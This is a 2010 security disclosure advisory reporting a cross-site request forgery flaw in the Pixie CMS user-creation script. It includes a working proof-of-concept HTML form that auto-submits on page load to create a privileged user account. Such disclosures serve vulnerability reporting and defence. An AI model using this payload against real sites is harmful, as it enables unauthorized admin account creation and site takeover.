XSRF (CSRF) in Pixie

[advisory () htbridge ch]

Vulnerability ID: HTB22470
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_pixie.html
Product: Pixie
Vendor: Toggle Labs Ltd ( http://www.getpixie.co.uk/ ) 
Vulnerable Version: 1.0.4 and Probably Prior Versions
Vendor Notification: 01 July 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the user creating script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based 
authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form accept-charset="UTF-8" action="http://host/admin/index.php?s=settings&amp;x=users"; method="post" name="main" >
<input type="hidden" name="uname" value="myusername"  />
<input type="hidden" name="realname" value="My Real Name" />
<input type="text" name="email" value="myemail () myemaildomain com" />
<input type="hidden" name="user_new" value="Save" />
<input type="hidden" name="privilege" value="2" />
</form>
<script>
document.main.submit();
</script>